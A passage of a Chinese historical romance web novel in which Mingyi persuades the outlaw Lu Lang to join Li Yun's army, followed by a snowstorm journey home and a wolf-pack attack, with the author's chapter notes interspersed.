叶弥儿恍然大悟,难怪那日小凉王将一个小小译人护在身后,还不让对方喝酒。 原来竟是侯夫人。 她看了看明宜,又看向李赟,像是后知后觉意识到什么似的,一抹怅然之色从脸上划过,讪讪笑道:“既是侯夫人,那我便不好拿出银钱丢人现眼了。”说着站起身,朝明宜深深揖了一礼,“多谢侯夫人救命之恩。” 明宜连忙起身回礼:“举手之劳,叶老板不用客气。” 叶弥儿将失落之情压下心底,转头看向沉着脸的李赟,正色道:“王爷,北狄如今生变,只怕不日就会南下,我望春楼的姑娘,随时等候王爷召唤。这一回,我希望王爷能彻底灭掉北狄。” 明宜想到那日那群妖冶胡姬,个个是高手。 也只有在沙洲这种地方,才能见到各式各样的奇女子。 李赟听她说正事,也便不再计较先前的荒唐之言,只点点头:“嗯,我也正有此打算,需要用你时,我不会客气。” 叶弥儿拱拱手与两人作别,只是转身走到门口,又忽然回头道:“话说回来,王爷身子的事,切莫大意。”说着又看向明宜,“侯夫人,你也劝劝王爷,千万不要讳疾忌医,早发现早治疗—— 作者有话说:直到为啥我最近写得少么,因为脑子里冒出一个脑洞,在打架 之前一直觉得感情戏提不起劲儿,后来才发觉是阈值变高了,需要刺激的才行,所以这个新脑洞就是刺激的,带一点人外的现代题材,等我写出来后放出来。 要写蛇BT扭曲精病男主了 第74章 第 73 章 若是要讲礼教,那阿兄最…… 叶弥儿丢下这句话, 便飘然而去,徒留屋中两人相顾无言。 明宜到底尴尬,明宜不由自主避开他的目光, 然而一不小心便落在了桌上锦盒上。 李赟见状轻咳一声, 开口道:“三娘,你别听叶老板胡言乱语, 我身子好得很。” 明宜干干道:“阿兄的身子, 自己心里有数便好。” 李赟顿时有些恼羞,声音也拔高了几分:“何谓自己有数?我本就好得很。” 怎么还动气了? 那叶老板果然说得对, 世间男子皆是如此, 一说到这个便像是被踩中尾巴的猫。 不过李赟的反应, 怎么有点欲盖弥彰的味道? 思及此, 她忍不住抬眸看向对方。 而她眼中的狐疑,愈发让李赟面色不虞:“三娘这是当真以为我被三步倒伤了身子?” “没……没有。”明宜赶紧摆手。 看这架势, 只怕自己只说一句让他莫大意的话, 对方当场就要证明。 这都什么跟什么啊? 孤男寡女怎就掰扯起这个来? 她轻咳一声:“我有些乏了,得回屋小憩一会儿,阿兄你也好好休息, 有事差人唤我便好。” 说罢, 也不等李赟再开口, 逃也似的离去。 李赟望着她的背影,一口气哽在喉间,收回目光,恰好又看到桌上锦盒, 越发郁卒。 那叶弥儿说什么不好,竟当着三娘的面,怀疑他被三步倒伤了命根。 真是可笑! 他习武之人, 一坛烈酒而已,睡一觉便好。 只是…… 他忽然想起,往日早上醒来,身子一定会有反应,但今早似乎并没有。 思及此,他心中顿时一惊。 不会真出了问题吧? * 接下来半天,李赟没派人来叫自己,对方也一直闭门不出,明宜倒是没放在心上,毕竟那三步倒不是寻常烈酒,小凉王嘴再硬,身子却是诚实的,定是要好好修养一番。 哪知翌日,李赟依旧闭门不出,她心中奇怪,准备敲门去看看情况,人还没走到对方房门口,便被一个忽然冒出来的侍卫拦住,对方公恭恭敬敬道:“王爷说要要休养几日,谁都别去打扰,尤其是二夫人。” 明宜一头雾水,但既然对方已经吩咐,她也不好强行去叨扰。 而小凉王没发话,她也不好擅自出门去见秦七郎,只能百无聊赖在官舍待着。 如今秦七郎加入战局,在说服沙狼帮忙招揽流民投军,沙洲的事便能了结。 才十月,沙洲已经进入寒冬。今年能不能回长安过冬,她已经不强求,能快些回凉州便好。 先前李赟比自己还急,这两日倒是安心休养起来。 明明看着没什么大碍。 莫非真如叶弥儿所说,伤了根基? 想到这个,她更是不敢敲门去问。 及至第三天天才刚亮,她忽然被外面的舞刀弄枪声吵醒,听着似乎是李赟在晨练,赶紧爬起来去看情况。 果不其然,小凉王正握着他那把刀舞得虎虎生威。 见她出来,对方转头看过来。 那张原本俊美的脸,已没了先前的苍白,许是已练了许久,额间闪着一点晶莹的汗水,双颊泛红,神采奕奕。 那双灰眸对上明宜,立刻涌上笑意,连带嘴角也弯起一个夸张的弧度。 明宜还从未见李赟笑得这么愉快,不由道:“阿兄身子已经彻底好了吗?” 李赟点头:“嗯,彻底好了,今早练了半个时辰的刀,毫不费力。” 明宜轻咳一声:“那三步倒毕竟不一般,阿兄还是莫要掉以轻心,最好再多养些时日再练功。” 李赟眉头微蹙,一边利落收刀入鞘,一边走到她跟前,像是要证明自己所言非虚,摊开双臂示意了下:“我当真没事。”说着又轻咳一声,“先前叶老板乃是胡说八道,你别放在心上。” 明宜讪讪一笑:“阿兄没事就好。”她可不想继续这个话题,转而又道,“秦七郎那边,阿兄你看要怎么办?” 李赟稍稍正色:“你就回复他,我愿意与他合作,我也承诺,只要灭掉北狄,他的要求我都可以满足,但他的人必须服从我们这边的安排。” 明宜点头:“那就没什么问题。” 李赟想了想又道:“有什么事,你与秦梦传达便好,别与秦七郎走太近,我实在不放心。” 明宜失笑:“如今他既不会将我掳走,我又不会对他有意,阿兄有何担心?” 李赟觑眼瞧她,轻咳一声:“那也不行,男女授受不亲。” “若是要讲礼教,那阿兄最应该离我远一些。” 李赟双眸一眯:“我与他能一样么?” “你们都是男子,有何不同?” 而且还都对她心怀不轨,当然这句话明宜只敢腹诽一下。 李赟噎了下:“总归离他远点就行。” “行,我不去见秦七郎,但今日得去见沙狼。天越来越冷,咱们还是了了这边的事,尽早回凉州。” “嗯,沙狼那边,他愿不愿意都无妨,不必强求,万八千的流民军,影响不了大局。” “这可不一定。尤其是沙洲这种地方,流民对地形比河西军只怕更熟悉,没有章法的作战方式,有时候比正规军杀伤力更大。只是,若沙狼愿意投诚,你至少要封他一个参将。” “他若是主动坦白真实身份,我可以考虑。” 明宜轻咳一声:“重犯也行?” “那得看犯的什么罪了。”说着冷哼道,“我就知道这人曾经是个杀人越货的玩意儿,这种人你也要离远点。” 明宜道:“我看阿兄是希望我离任何男子都远点。” 李赟坦然道:“那是自然。” 明宜故意道:“好吧,那日后我离阿兄也远点。” 说着便笑着转身。 李赟被堵了下:“等这里的事了结,我们就回凉州。永安园里梅花快开了,里面还有温泉,到时候我们一起泡温泉、赏梅花。” “谁跟你一起泡温泉?”明宜红着脸啐道,又欲盖弥彰地挥挥手,“我去洗漱用早膳,然后便去见沙狼。” 李赟嘴角弯了弯,心头涌上一丝温暖的甜意。他能感觉到明宜的心已经对自己松动。 总有一天,他会让她彻底对他打开心扉。 * 用过早膳,明宜便去了来福酒楼,与掌柜的说要找沙狼。 兴许是沙狼交代过,那掌柜赶紧让小厮去叫唤人,然后亲自领着明宜上了楼上雅间,又亲自给她斟茶。 “掌柜与沙狼看来交情匪浅?” 那掌柜笑眯眯道:“在敦煌做生意说是容易也不容易,我这酒楼乃是中原口味,我又是中原人,刚开张时难免受到城中泼皮无赖滋扰,是沙狼帮了我。我受他庇护,要与他分红,他也不要,只让我帮忙跑跑腿、传个信,有人找他便到来福楼等候。” 明宜点点头:“原来如此。” 掌柜又道:“前些日子,沙狼专门交代过,若是有一位中原小娘子来找他,一定要我好生招待。” “是么?”明宜轻笑。 两人正说着,虚掩的门咯吱一声从外面推开,是陆浪来了。 “这么快?”明宜惊讶道。 陆浪笑:“就在旁边。” 话虽如此,但说话间明显微微喘着气,显然是疾行而来。 他在明宜对面坐下,那掌柜赶紧给他倒了杯茶。 “有劳掌柜。” “那你们二位聊,在下就不叨扰了。” 掌柜退了出去,还贴心替两人将门阖上。 陆浪先是喝了口茶,才不紧不慢笑着开口:“侯夫人来见我,是背着小凉王,还是他允许的?” 明宜失笑:“我要见谁是我的自由,何须小凉王首肯?” 陆浪笑着点点头:“看来小凉王是知道的。” 明宜稍稍正色:“秦七郎的事你知道了吧?” “嗯,没想到这个北狄祸害竟是秦将军幼子。”陆浪轻笑一声,“不过听说他已经打算与小凉王合作,共同对抗北狄。” “没错。” “我还听说前几日,小凉王为了和摘星楼谈下买马生意,喝下一整坛三步倒,还成功走出了摘星楼。” 明宜笑:“确有此事。” “那王爷身体可还好?” “没什么大碍,休息两日就已恢复如常。” 陆浪挑挑眉:“小凉王果然不是一般人。我在沙洲这么久,还从未听说有人喝下一坛三步倒能安然无恙的。” 明宜道:“可能因为他本身就是海量,又练的是刚猛之功,内力深厚,身体底子也好。” 陆浪笑着点头:“无论如何,小凉王确实是天纵奇才,若是没有他,河西不会安稳至今。” “河西乃三代凉王经营,倒也不用将功绩都算在小凉王头上。” 陆浪不置可否,只问:“今日侯夫人前来,是为何事?” 明宜道:“王爷这趟西行,乃是整顿军务,招兵募马。如今战马一事已解决,又有秦七郎合作,眼见日渐寒冷,我们也得回凉州过冬了。” 陆浪握着茶杯的手微微一顿:“侯夫人要离开沙洲了?” “嗯。”明宜点头,笑说,“总不能在沙洲过冬?况且王爷也要回凉州准备明年应敌的事。” “这倒也是,那侯夫人会直接回长安么?” 明宜微微一愣:“这个……我还没做打算,就算要回,应该也是等明年开春暖和后。” 陆浪轻笑:“若是侯夫人回了长安,你我不知还有没有机会再见?” 明宜笑:“虽然陆郎君回不了长安,但我或许还会来河西。” “如此甚好。” 明宜想了想,又道:“只是此番离开沙洲,我始终留了个遗憾。” 陆浪挑眉:“侯夫人有何遗憾?不知我是否能帮上忙。” 明宜道:“这事事关陆郎君,陆郎君若是愿意,定能了我这个遗憾。” 陆浪先是一怔,继而又笑道:“莫非侯夫人还是想让我投入小凉王麾下?” 明宜点头:“确实如此,只是我却并不是为了小凉王招贤纳才,而是为了陆郎君你。” “是么?”陆浪显然不以为然。 明宜道:“陆郎君出自咸阳大族,年少得志,本是大宁栋梁之材,有着大好前程,却因为当街失手打死一个恶人,前途尽毁,从此隐姓埋名流落沙洲。陆郎君还不到而立之年,当真要一辈子当个流民?” 陆浪轻笑:“难不成我投了小凉王麾下,便能将此前罪行一笔勾销,从沙狼做回陆浪?” “有何不可?那左相已于前年致仕,早已在朝中失势,他那被你打死的儿子,本就恶名远扬。长安城中不知多少人如今都还在为陆郎惋惜,眼下北狄南侵在即,你以流民之身投军,只要能立下战功,王爷自然能恳请圣上赦免你当年罪行。”顿了下,又补充一句,“我也是不忍见陆郎君因为一个恶人,落得如今境地。” 陆浪呷了口茶:“我倒是对如今生活挺满意,所谓功名利禄不过浮名罢了。” 明宜笑道:“我信陆郎君不在乎利禄,但当真对功名也没有半点向往?若真是如此,你的沙洲第一刀和流民之首的名头从何而来?” 陆浪心底深处那点连自己都不愿承认的隐秘被人戳穿,不由得面色微微一僵,良久之后才道:“侯夫人当真是为了我这个人可惜?” “当然。”明宜笑着对他举起茶杯,“虽然我也想为王爷招贤纳才,但这流民之首若是旁人,而不是陆郎君你,我绝不会当这个说客,更谈不上什么遗憾。” 陆浪默了片刻,忽然又笑道:“若我当年没出事,如今至少已是金吾卫中郎将,若是登门求娶宋家三娘子,不知有多大机会?” 明宜道:“若陆郎君没出事,早被勋贵世家抢走做佳婿,哪里等得到我长大成人?” 这话虽是避开对方问题,却也是事实。 陆浪出事时,自己还不到豆蔻,而对方已是弱冠之年。那时多少千金贵女将他当做梦中情郎,门槛只怕都被冰人踏烂,哪等得到她到适婚年纪。 陆浪知她聪慧,这话避得巧妙,却也说得深得他心。 他沉吟片刻:“侯夫人可曾将我身份告知王爷?” “未曾。”明宜摇头,“我说了替你保守秘密,便不会说给任何人听。” 陆浪轻笑:“既要投入小凉王麾下,那我便得坦白身份。你说有没有可能,小凉王会直接将我打入大牢?” 明宜大笑:“你怕么?” “那倒也没有。在长安我都能越狱,在沙洲更是易如反掌。” 明宜知道他已动摇,便又乘胜追击道:“希望我离开沙洲前,陆郎君能了了我这遗憾。” 陆浪望着她片刻,轻笑:“侯夫人容我考虑一番。” “那我等着你的消息。”明宜起身与他拜别。 陆浪将人送至门口,又兀自转身回到桌旁坐下,端起还未喝完的茶水饮了一口。 虽然明知对方这些话不过是为了说服自己的漂亮话,说到底,她只是为小凉王当说客。 但他还是动摇了。 当年自己还是鲜衣怒马的状元郎时,多少勋贵想将女儿嫁给自己,多少贵女将自己当做如意郎君。但一出事,又有谁还真的记挂着自己? 唯有这个远道而来的长安小娘子,说为自己可惜,想让他从沙狼变回陆浪。 而他还能变回陆浪吗?—— 作者有话说:应该快谈上了,毕竟女主已经从抗拒,变成调情了哈哈哈 沙狼其实是几个男的里,人品最好的。 但他这种人不适合女主,他适合的是一个天真烂漫的千金,或者救风尘也行。总之要被他保护的那一类。 女主这里他就毫无用武之地了。 第75章 第 74 章 我对阿兄带我来沙洲,没…… 歇了三日, 小凉王又开始忙得脚不沾地,吴刺史和楚飞也跟着他,累得只差叫苦连天。 因都是些军务琐事, 倒是不用明宜费心, 她也乐得轻松,可以安心在屋中烤着炭火取暖。 眼下是越来越冷, 再迟几天, 在路上那十来天,只怕都难熬, 若是遇上下大雪, 只怕还会延误赶路。 这日刚用完晚膳, 便听楚飞来敲门:“夫人, 王爷叫你过去,沙狼来了。” 明宜已经纠正过他几次, 但这家伙仿佛脑子不记事似的, 当时应下,回头又继续叫错。 也不知是真傻还是装傻。 当然,明宜觉得是后者。 不过她也懒得计较这点小事, 这会儿听到沙狼来了官舍, 赶紧披上厚厚的狐裘斗篷出门。 “来了, 三娘。” 刚走到门口,便听李赟唤道。 明宜朝屋内望去,李赟正坐在矮几后,而陆浪则站在他前方, 虽然身子笔挺,却也不失恭敬。 在外人眼中,沙洲流民之首乃是狂放不羁的游侠, 但其实明宜知道,那只是陆浪的表面。 他乃世家大族出身,又曾是金吾卫,礼仪和规矩,早已刻在他骨子里,外表不羁的游侠,内心乃是正儿八百的君子。 “阿兄,沙狼!”明宜跨过门槛,与两人行了个礼。 陆浪转身,拱手回她一礼。 李赟皮笑肉不笑道:“沙狼说有事与本王说,却非要等三娘你来才开口。” 明宜自顾自地走到他右手边的位子坐定,又笑着指了指对面:“沙狼,你坐吧。” 陆浪这才去坐下。 “说吧。”李赟开口。 陆浪拱手道:“北狄南下在即,草民愿意投入王爷麾下,为大宁边患尽绵薄之力。” 李赟知道他是为了投效自己而来。 于公,他自然很高兴能得此人才;于私,他心中却有些不是滋味。 自己两年前就曾招揽过他,吴刺史更是不知游说过多少回,却都被他毫不犹豫拒绝。 而三娘才来这里多久,他便改变主意,虽然其中定有三娘知道他身份的关系,但除此之外是为何,同为男人,他不会不清楚。 他皮笑肉不笑道:“你从前说绝不与公门打交道,怎的忽然改变了主意?” “阿兄!”明宜低声唤道,又对他使了个眼色。 这眼色李赟自然是能看懂,是叫他对人态度好点。 李赟暗暗深吸一口气,勉强露出一个和颜悦色的表情:“我的意思是,你想投入本王麾下,可是当真?” 刚刚两人的互动,陆浪都瞧在眼中,他早看出李赟对明宜有意,却不料传闻中那不可一世的小凉王,竟然会看女人眼色。 思及此,他一面觉得有些好笑,一面又有些怅然。 即使他能变回陆浪,宋三娘子这样的女子,也不可能属于自己。 他收敛心神,再次拱手:“我沙狼在沙洲的名声,小凉王想必早已打听过,既是说了要投效,那便是经过深思熟虑,绝对诚心。至于为何改变主意,乃是因为……” 说到这里,他忽然顿住,抬眸看向对面的明宜。 李赟见状,不虞地眯起那双灰眸,心道你要敢说是因为三娘,本王这就让你滚出去。 好在陆浪的目光很快从明宜脸上移开:“我不过二十多岁,不想这辈子就当个流民,也想上战场立下军功,日后做个将军,扬名立万。” 李赟轻笑:“你乃游侠,会在意这些功名利禄?” 陆浪道:“我若不在意功名利禄,怎会有流民之首和沙洲第一刀的名号?” 李赟一时怔住。 陆浪又道:“此前不愿投军,乃是因为草民身份。” 李赟闻言,不动声色瞧了眼明宜,她果然说到做到,让沙狼主动来坦白身份。 “你说说你姓甚名甚,从何而来?” 陆浪拱手道:“草民姓陆单名一个浪字,来自咸阳陆氏。” 李赟微微一怔,不等对方继续说下去,已经开口打断:“景明十二年,咸阳陆氏陆浪,夺得武状元,年方十八,被圣上钦点金吾卫校尉,两年后因当街打死左相之子,被判斩首,但不等处斩,便在牢中自尽。” 陆浪道:“正是在下。” “好好好!”李赟讥诮大笑,“咱们沙洲果然卧虎藏龙,不仅有武状元,还是死而复生的武状元。” 陆浪道:“这也是草民一直不与公门打交道的原因。” 李赟蓦地沉下脸,冷喝道:“陆浪!你可知你是死囚,死囚越狱,罪加一等!我乃小凉王,为朝廷办事,莫非你觉得我遇到你这种重犯,会既往不咎?” “阿兄——”明宜见状急得赶紧开口。 李赟朝她看一眼,面色稍缓,抬手示意她安心。 陆浪道:“草民却是罪无可赦,只是贪生怕死,便侥幸多活了六年,若王爷要秉公处置,草民无话可说!” 李赟哂笑:“贪生怕死乃是人之常情,何况堂堂武状元金吾卫,因为失手打死一个欺男霸女的纨绔便要赔上性命,换做谁也不会甘心。” 这沙洲之中流民数万,随便拉出一个人,只怕都背着人命,本不算什么大事,毕竟杀人者和被杀者多是寂寂无名,过个几年,谁又还记得住。 偏偏这陆状元当年名声都传在河西。 若不是那时父亲刚过世,自己继承王位离不开凉州,年轻气盛的他,都想去长安城,与那武状元比试一番。 两年后,陆浪当街杀死左相之子,一代少年英才就此陨落,甚至还一度成为凉州说书人最爱说的故事。 陆浪微微蹙起眉头,不明所以地看向对方。 李赟轻咳一声,好整以暇道:“若你是在河西犯下的案子,纵然你是天潢贵胄,我也就不会徇私枉法。但你是在长安杀的人,乃是大理寺和刑部的职责,与我无关。我乃边将,也没闲工夫为了这等杀人小案,专程将你押回长安。如今北狄南下在即,吴刺史发出募兵告示时,便已经说明,凡有罪在身者,只要投军立功,皆可将功赎罪。你虽然情况特殊,但只要能立下战功,不仅将功抵罪,还能封你一官半职。” 陆浪站起身:“多谢王爷开恩。” 李赟摆摆手:“行,我会安排吴刺史帮你登记名册,不过暂且只能用沙狼的名号,以防节外生枝。” “属下明白。” 李赟又道:“至于你第一桩要立的功,不用我再说了吧?” 陆浪道:“我会竭尽所能,召集沙瓜凉州流民投军。” “除此之外,接下来几个月,你要好好协助吴刺史,整顿这些流民军。” 陆浪又拱手应诺。 明宜见状,总算松了口气。 “楚飞!”李赟朝门外唤道。 楚飞应声跑进来:“王爷有何吩咐?” “将沙狼带去吴刺史处办理投军事宜。” “好嘞!”楚飞笑嘻嘻道,“沙狼兄走吧,咱们以后可就是同袍了!” 上回王爷让他和沙狼说夫人被掳走的事,两人可谓是相谈甚欢,只差称兄道弟。 李赟见状撇撇嘴,等人离开后,才小声咕哝道:“这陆浪还挺会收买人心。” 明宜嗔道:“阿兄,那不叫收买人心,那是人家陆郎君性格人品好。” 李赟嗤了声,酸溜溜道:“你的意思是,我的性格人品比不上这位陆郎君?” 先前只将其当流民之首时,他还没觉得有何,毕竟流民和贵女,乃是云泥之别,如今知道他是当年名噪一时的陆状元,想到明宜和他走得近不说,还一直对他赞不绝口,便实在是有些堵得慌。 明宜笑道:“你是身居高位的王爷,只有别人讨好你,又不需要你去讨好谁?作何要好脾气?” 李赟咕哝道:“我不是要讨好你么?” 明宜没听清:“你说什么?” 李赟轻咳一声,话锋一转:“沙狼既然是陆浪,三娘你之前说的参将,我现在还不能许给他,只有等他募集的流民军,立下战功后,才能考虑。” 明宜倒是无所谓,陆浪也不是急功近利之人,心里头只怕也憋了一口气,要做出一番成绩,让世人来看,堂堂正正将功补过。 她点点头:“那这边的事便算了了,咱们是不是能启程回凉州了?” “嗯,出门已两个多月,是该回去了。”说着看向对方,“只是这回回程,与来时不同,如今天寒地冻,只怕三娘要随我吃点苦头了。” 明宜嗔道:“明知道我要随你吃苦头,当初你还把我诓来?” 李赟却只是轻笑:“那三娘后悔与我来沙洲了么?” 后悔么? 当然没有。 虽然危险重重,也吃了不少苦头,却是在长安绝不可能有的经历,这样的经历,让自己长了见识,也对未来有了新的渴望。 人生在世,不该只是锦衣玉食,明哲保身。 而是要遵循本心,勇敢走出宅门,以此证明自己来这世上一趟的价值,哪怕头破血流。 她粲然一笑,由衷道:“我对阿兄带我来沙洲,没有后悔,只有感激。” 李赟勾起嘴角:“虽然屡次让三娘置身危险,但我也不曾后悔让你随行。”顿了下,又道,“希望以后三娘依旧能在我身边,做我的左膀右臂。” 明宜怔了下,这回却没直接否认,只含糊其辞道:“再说吧。”—— 作者有话说:差不多快要双箭头了,但是有这么容易么? 小凉王:不会吧? 第76章 第 75 章 比起他脸上的坚定从容之…… 陆浪投了军, 小凉王沙洲之行的任务便彻底大功告成。虽然北狄南侵比他预计得要早,但秦七郎的加入,又让胜算多了几分。 眼下他回凉州的心比明宜还迫切。 毕竟许多事出门在外, 远不比在家方便。 为此, 小凉王大手一挥,两日后启程回凉州。 “哎呦, 可算是能回去了。” 白芷拎着采购来的手信, 跟在明宜身后抱怨,“也不知这一路上坐马车, 会不会很冷?” 明宜笑道:“咱们还有马车坐, 有褥子便好, 王爷的扈从们只能骑马, 那才是真冷。” “这倒也是。” 车队已经在门口等候,马车有两辆。李赟站在其中一辆旁, 见两人出来, 走到旁边马车,亲自将帘子打起。 “三娘,你看车里还缺什么?我立即叫人再准备。” 明宜和白芷钻进马车。 白芷惊喜道:“娘子, 这凳上都铺了毛皮。” 又感觉车厢里暖烘烘的, 掀开中间用小毯子盖着的小矮桌, 那桌下果然是一个炭盆。 只是这炭盆与寻常的不同,是个类似密封的小圆盆,像个大号的香囊球。那盖子上是细细密密的小洞,既能透气, 又能保证马车颠簸时,里面炭火不会撒出来。 而木桌本身还是个方形的笼子,不怕不小心碰到炭盆烫到。 “难怪这车里如此暖和。” 白芷笑嘻嘻道。 明宜转头看向李赟, 笑说:“这可比我预想的周全得多,阿兄有心了。” 李赟轻笑:“三娘满意就好,那咱们就出发了。” “嗯。” 虽然已入冬,但出发的这天却是个好天气,晴空万里,碧空无云,风也不大。 这趟返程之旅,开始得很顺利。 虽然气候与来时不能同日而语,但马车里一应俱全,十分舒适。加上已经习惯舟车劳顿,明宜并不觉得辛苦。 而李赟乘坐另一辆马车,只有下榻驿站时方能见面,倒也免了许多尴尬。 然而行程过半,进入甘州时,却突遭大风雪。 从长安到敦煌这条商道,沿路大大小小的驿站数十,只要计划得当,大都能在天黑前赶到下个驿站。 然而这场突如其来的大风雪,让原本能在傍晚之前赶到巩笔驿的车队,延误了行程。 雪天路滑,哪怕是官道,也不敢天黑了继续赶路。 “夫人,王爷说今晚只能在外面过夜了。” 明宜打开车帘,朝夜色中白茫茫的天地扫了眼,见将士们正在扎毡帐,问道:“将士们在外面过夜能受得住么?” 她睡在车内,有裘皮毛毯,还有炭盆,倒是不怕。 楚飞回道:“没事的,我们行军打仗的,早就习惯。而且王爷一向准备周全,带了木炭呢,冻不着。再说,夜晚也不比白天骑马冷。” 这倒是。 整个车队,就只有她和白芷两个女子,其他都是凉王精兵,身体素质自然都不一般。 她又扫了眼忙碌的将士,见李赟也正在亲力亲为安营扎寨,想了想,裹上厚厚斗篷下了车。 “娘子,你要去做何?” 白芷问道。 “你在车内待着,我去瞧瞧。” “哦。” “阿兄,有什么需要我帮忙吗?” 李赟正蹲在地上扎帐篷,闻声抬头,浓眉猛地一蹙,站起身道:“这大雪天的,你下车做何?赶紧上车去!” 明宜笑道:“这会儿雪已经小了。” “那也冷。” “我穿这么厚,不冷。” 李赟摆摆手:“赶紧上去,这些事用不着你。” “好吧。” 明宜只能小心翼翼踏着厚厚积雪回到车上。 他们选的这片营地乃是一片空旷之地,距离前方的山还有一些距离,为的是以防山上雪崩。 营地搭好,众将士一番整顿后,在营帐内歇息下来,整座营地,只剩夜风呼啸。 户外不方便,明宜只用烧热的雪水简单洗漱,便也在车内睡了下。 车厢单薄,刺骨寒风难免从缝隙钻进来。好在李赟为她这车厢准备实在周全,躺在厚厚的狐裘毛毯中,倒也不觉冷。 正睡得迷迷糊糊,隐约听到一阵轰隆声传来。明宜还以为是做梦,正要再次睡去,却听到外面有人喊道:“王爷!前面雪崩了,有一支商队被困。” 明宜清醒过来,打开帘子朝外看去。 虽是黑夜,但因为整个大地都被皑皑白雪覆盖,不用火光,也依稀能瞧见个大概。 她看到李赟从车上下来,压低声音叫上几个侍卫。 “阿兄 ——” 她唤了一声。 李赟见她被吵醒,道:“前面雪崩困了一支商队,我们去救人,你继续睡。” 说着又吩咐楚飞,“你带人看好营地,保护好夫人。” 楚飞应了一声喏。 明宜道:“阿兄,你当心点。” “嗯,我很快回来。” 车队差不多五十人,李赟带走了二十来人,营地还剩二十来个。 明宜望着一行人消失在雪夜,这才放下车帘。 睡是不可能睡着的,至少得等李赟回来。 然而也不知怎么回事,将近一个时辰过去,一点动静都没有。 明宜心中不由得有些忐忑,正要让楚飞派人去看看动静,忽然又听得轰隆一声。 不好!是前方传来的雪崩声。 她赶紧裹上狐裘斗篷下车:“楚飞,只怕前面出事了,我们得赶紧去看看!” 楚飞也听到动静,立刻吩咐众人收拾好出发。 地上积雪已有半尺高,走起来深一脚浅一脚,短短一里地,仿佛走了大半天。 就在这时,忽然一声狼啸传来。 明宜下意识转头, 顿时吓得心都快跳出来。 只见不远处的雪地中,密密麻麻几十条黑影,每条黑影都闪着两道绿森森的光。 白天赶路时,她见过几次狼群,但顶多十来只,见到这样的马队,是不敢接近的。 而眼下这些黑影,至少三十多只。 她听人说过,狼群在雪夜觅食时,为了降低危险、提高狩猎的概率,会出现大量聚集,多时能有三四十。 这些野兽,此时正像鬼魅一般,默默靠近,伺机而动。 楚飞啐了口:“怎么这么多?!” 又高声吩咐:“准备弓箭!保护好夫人!” 二十来人,只有几个弓箭手带了弓箭,其余人只有佩刀。 第一波箭迅速射出,为的是将这些东西震慑住。 然而风雪天的饿狼,哪会因为弓箭就退却。 只见头狼昂头嘶吼一声,像是发号施令一般,数十匹狼忽然朝他们飞奔而来。 这些四肢动物,在雪地里,比他们两条腿的人要灵活太多,不过片刻便已乌泱泱逼近。 “娘子,你站在我后面,我保护你!” 白芷哆哆嗦嗦道。 这一路来,明宜数次遇险,但此前带来危险的都是人,眼下却是狼。她再沉着冷静,也想不出什么妙计能脱身。 面对野兽,唯一的生路,便是杀过它们。 二十来个将士,围成一圈,将她和白芷牢牢包围在中间。 他们都是凉王精兵,武艺高强。但夜晚的寒冷,和身下的积雪,让他们变得不复平日的敏捷。 虽然抵抗住了第一波攻击,还成功斩杀了两只狼,但也激发了野兽的斗志。 狼群并非普通野兽,它们不仅战力非同一般,还具有不逊于精兵的协同合作能力。 很快,明宜便听到有将士被狼咬伤,发出痛苦的吼叫。 而其中一只狼,仿佛发现人群中央的两个女子是最为弱小的人类,它趁着混乱,猛得从两个将士缝隙间一跃而入。 因是从背后偷袭,明宜反应过来已来不及。白芷反手一剑,却没刺中狼,反倒被扑倒在雪地。 眼见那狼一口就要咬上白芷的脖子,好在楚飞速度快,手中刀直接飞出,将狼腹刺穿。 狼呜咽着倒地,在雪地上晕开一滩鲜血。 “楚飞,当心!” 一只狼见楚飞手中没了刀,立即朝他扑过去。 这回明宜眼明手快,腕间袖箭射出,救下了楚飞。 楚飞倒吸一口冷气,赶紧跑回来,从狼身抽出自己的刀。 明宜则将吓坏的白芷扶起来。 狼群很聪明,第一波攻击失败,在头狼的召唤下,很快退开,却并不走远,隔着一段距离虎视眈眈望着他们,一双双绿莹莹的眼睛,在夜色中,看起来比鬼魅还吓人。 众人围成一团,不敢乱动。 而在这样的风雪酷寒天,站在雪地不动,无异是一种酷刑。 明宜很快冷得牙齿不受控制地打架,浑身也直哆嗦。还是与白芷紧紧靠在一起互相取暖,才不至于倒下。 “娘子,怎么办?” 白芷问道。 明宜也不知该如何是好。 这些狼不动,他们便也不能轻举妄动。偏偏李赟那边还不知发生了何事,若是当真出了事,他们这样与狼群僵持,自身都难保,更不可能去救援他们。 就在她冷得渐渐要站不住时,忽然听到楚飞惊喜地叫了一声:“是王爷!王爷回来了!” 后面这一声,只差带了哭腔。 原本已经有些意识模糊的明宜,听到这动静,顿时稍稍清醒。 她转头看去,只见乌泱泱一群人由远及近而来,不是李赟一行,还能是谁? 明宜悬着的一颗心重重落下。 头狼果然聪明,看到人群,嗷呜叫唤了一声,率领狼群飞奔离去。 而明宜浑身忽然像是卸力一般,软软倒在雪地。 “娘子 ——” 白芷也一屁股坐在地上,哆哆嗦嗦唤道。 李赟遥遥看到明宜一行和狼群对峙时,心脏差点从胸口跳出来,用尽全力往这边奔跑。 刚跑近,便看到明宜倒在地上。 他越过围在外面的手下,上前一把将人抱在怀中:“三娘,你怎么样?” 明宜浑身僵硬地窝在他怀中,看到他额头的血,颤抖着声音道:“阿兄,你受伤了?” “我没事。” 李赟知道她是冻着了,赶紧将身上斗篷脱下来,将人又包裹了一圈,然后抱在怀中。 “王爷!” 楚飞劫后余生般道,“我们见您一直没回来,又听到雪崩声,怕出事,就准备去看看情况,哪知刚离开营地,就遇到狼群。” 李赟问道:“有多少人受伤了?” “七八个,不过都不算严重。” “嗯,回营地疗伤。” 明宜逐渐在他怀中缓过来,微微挣扎道:“阿兄,你放我下来吧,我没事的。” “你别乱动!” 明宜老老实实没再动。 她借着血光和月色望着上方的男人。 他额头还沾着血迹,但并不影响他的俊美。但比起他脸上的坚定从容之色,俊美便不值一提。 明宜原本慌乱的心,忽然就彻底平静下来。 她脑子里还未理清楚,手已经伸出来,将对方牢牢抱住,脸也紧紧贴在对方颈窝。 李赟微微一怔,将她又抱紧了些,脚下越发走得坚定—— 作者有话说:就这么在一起了吗? 第77章 第 76 章 三娘是答应做我的王妃了 回到马车内, 李赟依旧将明宜抱着,让她躺在自己腿上,又掀开炭盆, 把火烧得更大些。 明宜渐渐在对方怀抱和炭火中缓过来, 这才发觉白芷不在,她还没开口, 李赟已道:“三个人太挤, 我让白芷去了我的马车。” “哦。”明宜试图起身。 李赟固住他:“别乱动!” “我没事了,刚刚就是在雪地里站了太久, 冻着了。” 李赟轻嗤一声:“这种风雪天, 夜晚能冻死人的。” 明宜小声咕哝:“哪有那么夸张?” 李赟抬手拂开她额间散乱的发丝, 又用手背摸了摸她的脸, 见她脸上不似先前冰冷,才稍稍放了心。 